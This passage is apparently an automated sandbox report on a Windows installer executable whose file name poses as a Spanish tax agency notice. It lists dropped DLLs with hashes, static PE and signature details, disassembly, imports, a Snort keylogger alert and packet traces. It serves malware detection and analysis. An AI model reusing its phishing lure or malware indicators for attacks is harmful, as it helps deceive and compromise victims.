Preview:	.PNG........IHDR................a...BIDATx.m.S.%9...$U.Fkl.y].m.6.m.F..5g;k}.........P......~u................M......M.q......\|OM>....:?>.X7.U..j.v..?...e....>.Jk.&.{.[=......t.d.....4.D...V....b..s.L.....Jg,..=V..@.n......Rqv...._....B.h.;l....A....r.ap....N...1./.O.2.u7#..../.....o....O...[..X,<. .....@v........t...H..Rf..C?q..8.HB.!{K..N.....t..5..1d.+......).......pL.5.R..=....jC"....t6.BA.)....xZ..d..^W~yU...ya......U/...VA.r.....r.U....[".D.).8..iO<..[.....t.e9S...K8!....K..&p..Y2l.....".P8:..v..0....zd..''....O?+^.. =..b....t..K../.......?.?5...c.[.f.nP.P.o....7..k..t.?P(..O>.H~...n..jh.'..]..SC.5M.....'.}.n..'...t..9..c*...Ki...t..1z..N.q...w.w..y..W...K7x.^..p....j...%..3.\|.....x...G.\|~..a.o.N.<.......wK...]..u..........`...(z.B!.?q.b..u..$(.#1..N...b.u...@h...\|.w..g....}i....?~......1~...l..]h......IEND.B`.

C:\Users\user\AppData\Local\Temp\nsu2B23.tmp\AdvSplash.dll

Download File

Process:	C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.496995234059773
Encrypted:	false
SSDEEP:	96:1IUNaXnnXyEIPtXvZhr5RwiULuxDtJ1+wolpE:1Ix3XyEwXvZh1RwnLUDtf+I
MD5:	E8B67A37FB41D54A7EDA453309D45D97
SHA1:	96BE9BF7A988D9CEA06150D57CD1DE19F1FEC19E
SHA-256:	2AD232BCCF4CA06CF13475AF87B510C5788AA790785FD50509BE483AFC0E0BCF
SHA-512:	20EFFAE18EEBB2DF90D3186A281FA9233A97998F226F7ADEAD0784FBC787FEEE419973962F8369D8822C1BBCDFB6E7948D9CA6086C9CF90190C8AB3EC97F4C38
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+.Y.o.7Eo.7Eo.7Eo.6EF.7E..jEf.7E;..Em.7E..3En.7ERicho.7E........PE..L.....uY...........!................`........ ...............................P......................................`$..E.... ..d............................@..$.................................................... ...............................text............................... ..`.rdata....... ......................@..@.data........0......................@....reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsu2B23.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.659384359264642
Encrypted:	false
SSDEEP:	192:ex24sihno00Wfl97nH6BenXwWobpWBTtvShJ5omi7dJWjOlESlS:h8QIl972eXqlWBFSt273YOlEz
MD5:	8B3830B9DBF87F84DDD3B26645FED3A0
SHA1:	223BEF1F19E644A610A0877D01EADC9E28299509
SHA-256:	F004C568D305CD95EDBD704166FCD2849D395B595DFF814BCC2012693527AC37
SHA-512:	D13CFD98DB5CA8DC9C15723EEE0E7454975078A776BCE26247228BE4603A0217E166058EBADC68090AFE988862B7514CB8CB84DE13B3DE35737412A6F0A8AC03
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L.....uY...........!..... ...........'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..S....0.......$..............@..@.data...x....@.......(..............@....reloc..`....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	2097152
Entropy (8bit):	4.512546218889307
Encrypted:	false
SSDEEP:	12288:dgcUY6/eee9WwB84iTd+vXlnFbSwv+JnxQ7SLj732JlCGzz4OragmcnYJe:dX9WwB84iTd+vXlnFGMB4OragmcnYJe
MD5:	5BF4985CB57212B68B3FA93CA480E32F
SHA1:	8CA2702D7B46279BFB6121103417834EE80EDC49
SHA-256:	8CB558ADE731A28AD742FDA983024154BF8C1306834281080F7A6D2C6DDDA870
SHA-512:	095C6429C8DB088FAE11A782D4684A2C7427268628A79EEC5A7B97DC7E7A835243D5B66576F03DB1BAB683D57F9D64AA144EFA4E906E2FA93685CBAED01B910C
Malicious:	false
Preview:	regf........5.#.^................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e......Q......P..#....Q......P..#........Q......P..#.rmtm.K>. [.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	376832
Entropy (8bit):	2.6699994316731033
Encrypted:	false
SSDEEP:	3072:US3DFIecejetbNqlWjai5sTBG29DgebeOeF8DgebeOeDe3TKeme:UYSJexP9c6ns8c6nie3TKz
MD5:	5945EC104B18442693FC321D2FA8C8F5
SHA1:	EE860927007D959734CF2BC6D8D767B621A0617B
SHA-256:	FAE5071F7F6B1012397D1BA745DE7F3523CCC8A978F5AB7804B138E4385AA7DC
SHA-512:	C7E46E8BB1E5902FF36F9E504C82CF71944E9A346A522E9D0EC59B543DB77B49D55141F564926A23068FC36BD627BE8E2FD7DCFEE7E37C8D9E672C58230F8F27
Malicious:	false
Preview:	regf........5.#.^................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e......Q......P..#....Q......P..#........Q......P..#.rmtm.K>. [.................................................................................................................................................................................................................................................................................................................................................HvLE.....................P.$s...6$ z...................`....................... ... ...`... ..hbin................5.#.^...........nk,....S...............................................................&...{11517B7C-E79D-4e20-961B-75A811715ADD}......nk ..."..(......(...........@...............................*...N.......)...InventoryMiscellaneousMemorySlotArrayInfo....................mG.....nk .$4./T....... ...................................Z.......................Root........lh..

\Device\ConDrv

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
File Type:	ISO-8859 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	211
Entropy (8bit):	4.572499124765754
Encrypted:	false
SSDEEP:	6:WsTbRh07NkMswksKML4IOBWEyIFrvaawp0N5aNlc:DYsDh06ep650c
MD5:	CBFCB802B320CCF52613522DFB771EB4
SHA1:	FEFC7681A1EF0B39C3AFF1BFDFB703D3C27689D3
SHA-256:	AC2C2635F85C4D84C7EB1D72E0C6B347D82CFA78EE9506FEE8D17E0E6AA071C4
SHA-512:	540854E486C2F9C3AAF97F5FD230CF9A76570D92B556CFD241728484103D9E24037CF2535F9AA0D2B799D994C97B8137776DBFC096CE39D5A68FF4CED414688A
Malicious:	false
Preview:	.Unhandled Exception: System.AccessViolationException: Attempted to read or write protected memory. This is often an indication that other memory is corrupt... at ?????.???Z?.?????().. at l.lW-.j????.Main().

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.030340339436893
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	rAEAT-AvisodeNotificaci__n.exe
File size:	433208
MD5:	77b1761153f7e6ca4b76ea26c2fa6645
SHA1:	be00353381302d16a62c114efa564acf60473368
SHA256:	dbb02fdfea2855cb95d3a6a2668fd5392b9d997200277d98fb758db781880523
SHA512:	7ecfd1739db4ae8323896fa7c3e7231ef8124de59e7113eaffaf9ced0d93c07e3d5c48f50fa5cf1aed4588d4b5f35a35b5ea4221fd63b1c61a9f5e2207e03fe3
SSDEEP:	6144:D6bAcJvkzKmPPzS58G93IuZUU/rR83tWgn2BRH81SH5ioFrI70U5p72l:87ubCHIC5rRKsg2BRc1cZs5p7u
TLSH:	C194F1127FDBE867D0526D786186DE186EB0EF049219E747E3B03ABDE5BA3025C1B103
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!`G.@...@...@../OQ..@...@..I@../OS..@...c>..@..+F...@..Rich.@..........................PE..L.....uY.................d....:....

File Icon


Icon Hash:	20c4f8f8e8f0f24c

Static PE Info

General

Entrypoint:	0x403350
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x59759518 [Mon Jul 24 06:35:04 2017 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b34f154ec913d2d2c435cbd644e91687

Authenticode Signature

Signature Valid:	false
Signature Issuer:	E=Aktivsiden@Krselstider.Th, OU="Positival Kontaktpersonernes Frothi ", O=Overbegavet, L=Charmont-sous-Barbuise, S=Grand Est, C=FR
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	12/07/2022 07:12:58 11/07/2025 07:12:58
Subject Chain	E=Aktivsiden@Krselstider.Th, OU="Positival Kontaktpersonernes Frothi ", O=Overbegavet, L=Charmont-sous-Barbuise, S=Grand Est, C=FR
Version:	3
Thumbprint MD5:	2456D98150D883C67DE9DFE914FCE355
Thumbprint SHA-1:	679C31D66A1EC517454AC9E145276BFB7CD9E1E1
Thumbprint SHA-256:	841BEC78FA2D17EC15423A3044CCEC68C10A9C902E0F41BF269F4538B2CB4380
Serial:	537EA62409F213AF08512C7B9AF6C6FDFE1BAEFB

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A2E0h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080A8h]
call dword ptr [004080A4h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [007A8A2Ch], eax
je 00007F3380434753h
push ebx
call 00007F33804379E9h
cmp eax, ebx
je 00007F3380434749h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007F3380437963h
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007F338043472Ch
push 0000000Ah
call 00007F33804379BCh
push 00000008h
call 00007F33804379B5h
push 00000006h
mov dword ptr [007A8A24h], eax
call 00007F33804379A9h
cmp eax, ebx
je 00007F3380434751h
push 0000001Eh
call eax
test eax, eax
je 00007F3380434749h
or byte ptr [007A8A2Fh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [007A8AF8h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 0079FEE0h
call dword ptr [00408188h]
push 0040A2C8h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x84fc	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3d0000	0x28268	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x679d0	0x2268	.data
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x63c8	0x6400	False	0.6766015625	data	6.504099201068482	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x138e	0x1400	False	0.4509765625	data	5.146454805063938	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x39eb38	0x600	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x3a9000	0x27000	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3d0000	0x28268	0x28400	False	0.3355129076086957	data	4.767250735975199	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x3d0310	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	English	United States
RT_ICON	0x3e0b38	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864	English	United States
RT_ICON	0x3e9fe0	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 20736	English	United States
RT_ICON	0x3ef468	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	English	United States
RT_ICON	0x3f3690	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	English	United States
RT_ICON	0x3f5c38	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	English	United States
RT_ICON	0x3f6ce0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	English	United States
RT_ICON	0x3f7668	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	English	United States
RT_DIALOG	0x3f7ad0	0x100	data	English	United States
RT_DIALOG	0x3f7bd0	0xf8	data	English	United States
RT_DIALOG	0x3f7cc8	0xa0	data	English	United States
RT_DIALOG	0x3f7d68	0x60	data	English	United States
RT_GROUP_ICON	0x3f7dc8	0x76	data	English	United States
RT_MANIFEST	0x3f7e40	0x423	XML 1.0 document, ASCII text, with very long lines (1059), with no line terminators	English	United States

Imports

DLL	Import
KERNEL32.dll	SetEnvironmentVariableW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, SetCurrentDirectoryW, GetFileAttributesW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, ExitProcess, GetShortPathNameW, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalLock, GlobalUnlock, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.11.20132.226.8.16949797802039190 03/20/23-11:38:26.059783	TCP	2039190	ET TROJAN 404/Snake/Matiex Keylogger Style External IP Check	49797	80	192.168.11.20	132.226.8.169

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2023 11:38:23.851558924 CET	49795	443	192.168.11.20	142.250.185.110
Mar 20, 2023 11:38:23.851653099 CET	443	49795	142.250.185.110	192.168.11.20
Mar 20, 2023 11:38:23.851912022 CET	49795	443	192.168.11.20	142.250.185.110
Mar 20, 2023 11:38:23.875530005 CET	49795	443	192.168.11.20	142.250.185.110
Mar 20, 2023 11:38:23.875575066 CET	443	49795	142.250.185.110	192.168.11.20
Mar 20, 2023 11:38:23.916757107 CET	443	49795	142.250.185.110	192.168.11.20
Mar 20, 2023 11:38:23.916984081 CET	49795	443	192.168.11.20	142.250.185.110
Mar 20, 2023 11:38:23.917043924 CET	49795	443	192.168.11.20	142.250.185.110
Mar 20, 2023 11:38:23.917649031 CET	443	49795	142.250.185.110	192.168.11.20
Mar 20, 2023 11:38:23.917861938 CET	49795	443	192.168.11.20	142.250.185.110
Mar 20, 2023 11:38:23.981728077 CET	49795	443	192.168.11.20	142.250.185.110
Mar 20, 2023 11:38:23.981839895 CET	443	49795	142.250.185.110	192.168.11.20
Mar 20, 2023 11:38:23.982880116 CET	443	49795	142.250.185.110	192.168.11.20
Mar 20, 2023 11:38:23.983022928 CET	49795	443	192.168.11.20	142.250.185.110
Mar 20, 2023 11:38:23.986423969 CET	49795	443	192.168.11.20	142.250.185.110
Mar 20, 2023 11:38:24.028503895 CET	443	49795	142.250.185.110	192.168.11.20
Mar 20, 2023 11:38:24.329618931 CET	443	49795	142.250.185.110	192.168.11.20
Mar 20, 2023 11:38:24.329839945 CET	49795	443	192.168.11.20	142.250.185.110
Mar 20, 2023 11:38:24.329926968 CET	443	49795	142.250.185.110	192.168.11.20
Mar 20, 2023 11:38:24.329969883 CET	443	49795	142.250.185.110	192.168.11.20
Mar 20, 2023 11:38:24.330066919 CET	49795	443	192.168.11.20	142.250.185.110
Mar 20, 2023 11:38:24.330154896 CET	49795	443	192.168.11.20	142.250.185.110
Mar 20, 2023 11:38:24.331521988 CET	49795	443	192.168.11.20	142.250.185.110
Mar 20, 2023 11:38:24.331600904 CET	443	49795	142.250.185.110	192.168.11.20
Mar 20, 2023 11:38:24.442899942 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.443048000 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.443356991 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.443624020 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.443665981 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.509440899 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.509727001 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.511383057 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.511639118 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.514813900 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.514857054 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.515402079 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.515535116 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.515832901 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.556492090 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.762135029 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.762311935 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.762363911 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.762372017 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.762471914 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.763184071 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.763345957 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.763345957 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.764550924 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.764738083 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.764857054 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.765422106 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.765543938 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.765659094 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.765669107 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.765856981 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.767509937 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.767702103 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.767710924 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.767844915 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.770335913 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.770509958 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.770545959 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.770695925 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.770709038 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.770914078 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.771270990 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.771672010 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.771682024 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.771964073 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.771974087 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.772173882 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.772182941 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.772447109 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.772749901 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.773035049 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.773046970 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.773206949 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.773458958 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.773623943 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.773633003 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.773828030 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.774261951 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.774410009 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.774425030 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.774560928 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.774924994 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.775063038 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.775074959 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.775348902 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.775548935 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.775716066 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.775724888 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.775963068 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.776206017 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.776273966 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.776592016 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.776599884 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.777005911 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.777059078 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.777121067 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.777563095 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.777574062 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.777864933 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.778000116 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.778074026 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.778279066 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.778287888 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.778527021 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.778887987 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.778999090 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.779048920 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.779055119 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.779227018 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.779848099 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.780004978 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.780150890 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.780158997 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.780174017 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.780417919 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.780822992 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.780936003 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.780992031 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.781064987 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.781073093 CET	443	49796	142.250.184.193	192.168.11.20
Mar 20, 2023 11:38:24.781219006 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.781414986 CET	49796	443	192.168.11.20	142.250.184.193
Mar 20, 2023 11:38:24.781656027 CET	443	49796	142.250.184.193	192.168.11.20
